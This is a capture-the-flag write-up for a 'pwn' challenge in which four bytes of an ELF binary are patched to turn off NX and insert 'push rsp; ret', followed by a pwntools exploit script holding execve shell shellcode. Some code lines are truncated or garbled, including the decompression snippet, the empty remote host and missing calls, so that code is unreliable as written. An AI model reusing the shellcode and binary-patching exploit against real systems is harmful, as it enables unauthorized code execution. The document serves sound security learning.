Patch an ELF binary to do shellcode injection.


  • category : pwn
  • points : 142


We just rescued an elf that was captured by The Grinch for his cruel genetic experiments. But we were late, the poor elf was already mutated. Could you help us restore the elf’s genes?

nc 1206


$ We just rescued an elf that was captured by The Grinch
for his cruel genetic experiments.

But we were late, the poor elf was already mutated.
Could you help us restore the elf's genes?

Here is the elf's current DNA, zlib compressed and
then hex encoded:

You may mutate up to 4 bytes of the elf.
How many bytes to mutate (0 - 4)? 2 # my input
Which byte to mutate? 1 # my input
What to set the byte to? 1 # my input
Which byte to mutate? 1 # my input
What to set the byte to? 1 # my input
Alright - let's see what the elf has to say.
sh: 1: /var/tmp/tmpc2iZZRmutated_elf: Exec format error

The first thing to do is to decompress the binary.

Using python3:

import zlib
s = open('./elf.hex', 'r').read().replace('\n', '')
with open('./elf.exe', 'wb') as f:

Launch the program:

$ ./elf.exe 
Hello there, what is your name?
meowmeowxw # my input
Greetings meowmeowxw, let me sing you a song:
We wish you a Merry Chhistmas
We wish you a Merry Christmxs
We wish you alMerry Christmas
and a HapZy New Year! 

Binary protections:

$ checksec --file=./elf.exe
NX: Enabled
PIE: Enabled
Symbols: 66
Fortify: Yes

I analyzed the binary with r2 and this is the disassembly of the main:

 160: int main (int64_t arg_7fh, char **argv, char **envp);
           ; arg int64_t arg_7fh @ rbp+0x7f
           ; var int64_t var_30h @ rsp+0x88
           0x0000073a      4155           push r13
           0x0000073c      4154           push r12
           0x0000073e      55             push rbp
           0x0000073f      53             push rbx
           0x00000740      4881ec980000.  sub rsp, 0x98
           0x00000747      64488b042528.  mov rax, qword fs:[0x28]
           0x00000750      488984248800.  mov qword [var_30h], rax
           0x00000758      31c0           xor eax, eax
           0x0000075a      4889e7         mov rdi, rsp
           0x0000075d      b910000000     mov ecx, 0x10
           0x00000762      f348ab         rep stosq qword [rdi], rax
           0x00000765      488d3dfc0000.  lea rdi, str.Hello_there__what_is_you
           0x0000076c      e86ffeffff     call sym.imp.puts           ; int puts(const char *s)
           0x00000771      4889e5         mov rbp, rsp
           0x00000774      4c8d6d7f       lea r13, [arg_7fh]
           0x00000778      4889eb         mov rbx, rbp
           ; CODE XREF from main @ 0x79f
       ┌─> 0x0000077b      4189dc         mov r12d, ebx
          0x0000077e      4129ec         sub r12d, ebp
          0x00000781      ba01000000     mov edx, 1                  ; size_t nbyte
          0x00000786      4889de         mov rsi, rbx                ; void *buf
          0x00000789      bf00000000     mov edi, 0                  ; int fildes
          0x0000078e      e85dfeffff     call           ; ssize_t read(int fildes, void *buf, size_t nbyte)
          0x00000793      803b0a         cmp byte [rbx], 0xa
      ┌──< 0x00000796      740b           je 0x7a3
      │╎   0x00000798      4883c301       add rbx, 1
      │╎   0x0000079c      4c39eb         cmp rbx, r13
      │└─< 0x0000079f      75da           jne 0x77b
      │┌─< 0x000007a1      eb08           jmp 0x7ab
      ││   ; CODE XREF from main @ 0x796
      └──> 0x000007a3      4d63e4         movsxd r12, r12d
          0x000007a6      42c6042400     mov byte [rsp + r12], 0
          ; CODE XREF from main @ 0x7a1
       └─> 0x000007ab      4889e2         mov rdx, rsp
           0x000007ae      488d35d30000.  lea rsi, str.Greetings__s__let_me_sing
           0x000007b5      bf01000000     mov edi, 1
           0x000007ba      b800000000     mov eax, 0
           0x000007bf      e83cfeffff     call sym.imp.__printf_chk
           0x000007c4      488d3de50000.  lea rdi, str.We_wish_you_a_Merry_Chhist
           0x000007cb      e810feffff     call sym.imp.puts           ; int puts(const char *s)
           0x000007d0      bf00000000     mov edi, 0                  ; int status
           0x000007d5      e836feffff     call sym.imp.exit           ; void exit(int status)

Decompiled with r2ghidra-dec:

void main(void)
    int64_t iVar1;
    undefined8 extraout_RDX;
    undefined8 *puVar2;
    undefined8 uVar3;
    uint32_t uVar4;
    undefined8 *puVar5;
    int64_t in_FS_OFFSET;
    undefined8 auStack184 [15];
    char acStack57 [9];
    undefined8 uStack48;
    puVar2 = auStack184;
    uStack48 = *(undefined8 *)(in_FS_OFFSET + 0x28);
    iVar1 = 0x10;
    puVar5 = auStack184;
    while (iVar1 != 0) {
        iVar1 = iVar1 + -1;
        *puVar5 = 0;
        puVar5 = puVar5 + 1;
    do {, puVar2, 1);
        if (*(char *)puVar2 == '\n') {
            *(undefined *)((int64_t)auStack184 + (int64_t)((int32_t)puVar2 - ((int32_t)*(BADSPACEBASE **)0x20 + -0xb8)))
                 = 0;
        puVar2 = (undefined8 *)((int64_t)puVar2 + 1);
    } while (puVar2 != (undefined8 *)acStack57);
    uVar3 = 0x888;
    sym.imp.__printf_chk(1, 0x888, auStack184);
    uVar4 = 0;
    iVar1 = 0;
    do {
        (**(code **)(section..init_array + iVar1 * 8))((uint64_t)uVar4, uVar3, extraout_RDX);
        iVar1 = iVar1 + 1;
    } while (iVar1 != 1);

As we can see the decompiled is a bit esoteric, however it’s pretty simple. The program fill a buffer using the read syscall until a \n is read, or the input’s length is less or equal the size of the buffer.

There are different strategy to approach this problem, but one thing is certain, the exit(0) is a problem, both if we do ROP or shellcode injection.

We have 4 bytes to patch, so we can use 1 byte to replace the exit with a ret.

What about the other three bytes?

If we want to do a shellcode injection we can easily remove the NX bit using:

$ execstack -s elf-patched.exe

Now we need to know the position of the buffer since there’s ASLR.

We can check from the disassembler that the input buffer is pointed by rsp:

0x000007ab      4889e2         mov rdx, rsp
0x000007ae      488d35d30000.  lea rsi, str.Greetings__s__let_me_sing
0x000007b5      bf01000000     mov edi, 1
0x000007ba      b800000000     mov eax, 0
0x000007bf      e83cfeffff     call sym.imp.__printf_chk

Here the program executes __printf_chk(1, "greetings %d let me..", buffer), and rdx (third argument) points to rsp.

Now that NX is disabled and we have a ret instruction we just need to push rsp before the ret to executes our shellcode.


You can’t replace the exit directly with push rsp; ret since it doesn’t have \x00 opcodes, but right above the exit there is a valid place to write the instructions we need.

				# here
0x000007d0      bf00000000     mov edi, 0                  ; int status
0x000007d5      e836feffff     call sym.imp.exit           ; void exit(int status)

To patch the binary I used cutter. Here is the result:

0x000007d0      54            push    rsp
0x000007d1      c3            ret
0x000007d2      0000          add     byte [rax], al
0x000007d4      00e8          add     al, ch
0x000007d6      36            invalid
0x000007d7      fe            invalid
0x000007d8      ff            invalid
0x000007d9      ff660f        jmp     qword [rsi + 0xf]

As expected the next instructions are different, this is because in x86(-64) the opcodes have variable lengths.

The latest thing we have to know is the offset/value of the NX bit. I found it using a diff between the original elf.exe and the patched one.

$ xxd elf.exe > elf.hex
$ xxd elf-patched.exe > elf-patched.hex
$ diff elf.hex elf-patched.hex
< 000001c0: 0400 0000 0000 0000 51e5 7464 0600 0000
---										# here	NX
> 000001c0: 0400 0000 0000 0000 51e5 7464 0700 0000
< 000007d0: bf00 0000 00e8 36fe ffff 660f 1f44 0000  ......6...f..D..
---			# push rsp; ret
> 000007d0: 54c3 0000 00e8 36fe ffff 660f 1f44 0000  T.....6...f..D..

We’re ready to write the exploit:


#!/usr/bin/env python3

from pwn import remote, context, process, log

class Sender:

    def __init__(self, local, debug = None):
        if local == 'remote':
            self.conn = remote('', 1206)
            self.conn = process('./')
        if debug is not None:
            context.log_level = 'debug'

def main():
    shellcode = b'\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48'
    shellcode += b'\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05'
    # 1st edit disable NX
    # 2nd edit push rsp
    # 3th edit ret
    edit = [0x1cc, 0x7, 0x7d0, 0x54, 0x7d1, 0xc3]
    snd = Sender('remote')'(0 - 4)?'))
    for e in edit:'?'))

if __name__ == '__main__':

Oh yeah.




The first thing I thought was to do ROP, and to be able to do that I needed or a leak or that PIE was disabled.

As it turns out to disable PIE we need way more than 4 bytes, while to leak an address I could patch the puts function to print the address inside puts@got. Once we know the address inside the libc of puts, we could try to use onegadget. HOWEVER, the server was buffering the output (it didn’t flush), and to unbuffer the output I needed to sent something first. Since my input was dependent from the server output, this technique was unsuccessful. In a similar way to the one described above, we could also leak a function in the .dynamic section of the elf as .fini or .init, in that case we would have an address of the binary and it was like PIE was disabled.